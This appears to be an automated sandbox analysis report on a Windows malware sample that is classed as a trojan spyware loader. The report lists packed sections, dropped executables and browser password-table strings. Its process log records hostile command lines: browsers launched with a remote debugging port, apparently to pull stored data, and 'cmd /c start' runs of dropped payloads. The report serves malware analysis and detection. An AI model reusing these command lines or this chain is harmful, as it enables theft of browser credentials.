Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE6C650	1_2_6CE6C650
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE3A7D0	1_2_6CE3A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE90700	1_2_6CE90700
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE200B0	1_2_6CE200B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEEC0B0	1_2_6CEEC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE08090	1_2_6CE08090
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE5E070	1_2_6CE5E070
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEDC000	1_2_6CEDC000
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CED8010	1_2_6CED8010
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE101E0	1_2_6CE101E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE78140	1_2_6CE78140
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE86130	1_2_6CE86130
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEF4130	1_2_6CEF4130
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF962C0	1_2_6CF962C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEE22A0	1_2_6CEE22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEDE2B0	1_2_6CEDE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE98260	1_2_6CE98260
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEA8250	1_2_6CEA8250
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEE8220	1_2_6CEE8220
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEDA210	1_2_6CEDA210
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE643E0	1_2_6CE643E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE423A0	1_2_6CE423A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE6E3B0	1_2_6CE6E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF52370	1_2_6CF52370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE12370	1_2_6CE12370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF2C360	1_2_6CF2C360
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEA6370	1_2_6CEA6370
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE18340	1_2_6CE18340
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE82320	1_2_6CE82320
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CED1CE0	1_2_6CED1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF4DCD0	1_2_6CF4DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEAFC80	1_2_6CEAFC80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE13C40	1_2_6CE13C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF39C40	1_2_6CF39C40
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE21C30	1_2_6CE21C30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEE1DC0	1_2_6CEE1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE03D80	1_2_6CE03D80
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF59D90	1_2_6CF59D90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE73D00	1_2_6CE73D00
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE33EC0	1_2_6CE33EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF6BE70	1_2_6CF6BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF95E60	1_2_6CF95E60
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF1DE10	1_2_6CF1DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEBBFF0	1_2_6CEBBFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF2DFC0	1_2_6CF2DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF93FC0	1_2_6CF93FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE31F90	1_2_6CE31F90
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE45F20	1_2_6CE45F20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE05F30	1_2_6CE05F30
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF67F20	1_2_6CF67F20
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE1D8E0	1_2_6CE1D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE438E0	1_2_6CE438E0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF6B8F0	1_2_6CF6B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEEF8F0	1_2_6CEEF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEAF8C0	1_2_6CEAF8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE6D810	1_2_6CE6D810
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE759F0	1_2_6CE759F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEA79F0	1_2_6CEA79F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEA99C0	1_2_6CEA99C0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE499D0	1_2_6CE499D0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE21980	1_2_6CE21980
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEE1990	1_2_6CEE1990
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE8F960	1_2_6CE8F960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CECD960	1_2_6CECD960
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEC5920	1_2_6CEC5920
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CF5F900	1_2_6CF5F900
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CE11AE0	1_2_6CE11AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_6CEEDAB0	1_2_6CEEDAB0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_0008E530	32_2_0008E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_000C7049	32_2_000C7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_000C8860	32_2_000C8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_000C78BB	32_2_000C78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_000C2D10	32_2_000C2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_000C31A8	32_2_000C31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00084DE0	32_2_00084DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00084B30	32_2_00084B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_000B7F36	32_2_000B7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_000C779B	32_2_000C779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE33620 appears 75 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF909D0 appears 287 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF49F30 appears 32 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF9DAE0 appears 64 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF9D930 appears 52 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE39B10 appears 87 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE6C5E0 appears 35 times

Source: file.exe, 00000001.00000002.1918898498.000000002390F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000001.00000002.1924711993.0000000070152000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: tevjzfjr ZLIB complexity 0.994469944909398
Source: DocumentsFIDGDAKFHI.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9982224965940054
Source: DocumentsFIDGDAKFHI.exe.1.dr	Static PE information: Section: xecvasfo ZLIB complexity 0.9947792028118456
Source: random[1].exe.1.dr	Static PE information: Section: lywxyhem ZLIB complexity 0.9942469136913331
Source: skotes.exe.28.dr	Static PE information: Section: ZLIB complexity 0.9982224965940054
Source: skotes.exe.28.dr	Static PE information: Section: xecvasfo ZLIB complexity 0.9947792028118456
Source: dd3583c805.exe.32.dr	Static PE information: Section: lywxyhem ZLIB complexity 0.9942469136913331
Source: random[1].exe.32.dr	Static PE information: Section: ZLIB complexity 0.9975911458333333
Source: random[1].exe.32.dr	Static PE information: Section: hkhcddam ZLIB complexity 0.9941602693538555
Source: ff628321ee.exe.32.dr	Static PE information: Section: ZLIB complexity 0.9975911458333333
Source: ff628321ee.exe.32.dr	Static PE information: Section: hkhcddam ZLIB complexity 0.9941602693538555
Source: random[1].exe0.32.dr	Static PE information: Section: tevjzfjr ZLIB complexity 0.994469944909398
Source: ef7381e244.exe.32.dr	Static PE information: Section: tevjzfjr ZLIB complexity 0.994469944909398

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@78/302@101/33

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CE70300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

1_2_6CE70300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\QK6B9GKG.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user~1\AppData\Local\Temp\aafa7d28-29d9-4b12-9671-5fb4433d96dc.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: file.exe, 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1923575755.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1910889673.000000001D8D4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1923575755.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1910889673.000000001D8D4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1923575755.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1910889673.000000001D8D4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1923575755.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1910889673.000000001D8D4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, file.exe, 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1923575755.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1910889673.000000001D8D4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000001.00000002.1923575755.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1910889673.000000001D8D4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000001.00000002.1923575755.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1910889673.000000001D8D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000001.00000003.1506413542.000000001D7D5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1646014611.000000001D7C9000.00000004.00000020.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2509978228.0000000005F80000.00000004.00000800.00020000.00000000.sdmp, ff628321ee.exe, 00000024.00000003.2511452433.0000000005F51000.00000004.00000800.00020000.00000000.sdmp, CFBAKKJDBKJJJKFHDAEB.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000001.00000002.1923575755.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1910889673.000000001D8D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000001.00000002.1923575755.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.1910889673.000000001D8D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsFIDGDAKFHI.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: dd3583c805.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 --field-trial-handle=2196,i,6148873986735286690,16482013461784246159,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2224,i,13498056938333319080,12696969808079117186,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2892 --field-trial-handle=2428,i,8659367458828024613,8837999602686257353,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6504 --field-trial-handle=2428,i,8659367458828024613,8837999602686257353,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6568 --field-trial-handle=2428,i,8659367458828024613,8837999602686257353,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIDGDAKFHI.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFIDGDAKFHI.exe "C:\Users\user\DocumentsFIDGDAKFHI.exe"
Source: C:\Users\user\DocumentsFIDGDAKFHI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6532 --field-trial-handle=2428,i,8659367458828024613,8837999602686257353,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009648001\dd3583c805.exe "C:\Users\user~1\AppData\Local\Temp\1009648001\dd3583c805.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe "C:\Users\user~1\AppData\Local\Temp\1009653001\ff628321ee.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009654001\ef7381e244.exe "C:\Users\user~1\AppData\Local\Temp\1009654001\ef7381e244.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe "C:\Users\user~1\AppData\Local\Temp\1009653001\ff628321ee.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFIDGDAKFHI.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 --field-trial-handle=2196,i,6148873986735286690,16482013461784246159,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2224,i,13498056938333319080,12696969808079117186,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2892 --field-trial-handle=2428,i,8659367458828024613,8837999602686257353,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6504 --field-trial-handle=2428,i,8659367458828024613,8837999602686257353,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6568 --field-trial-handle=2428,i,8659367458828024613,8837999602686257353,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
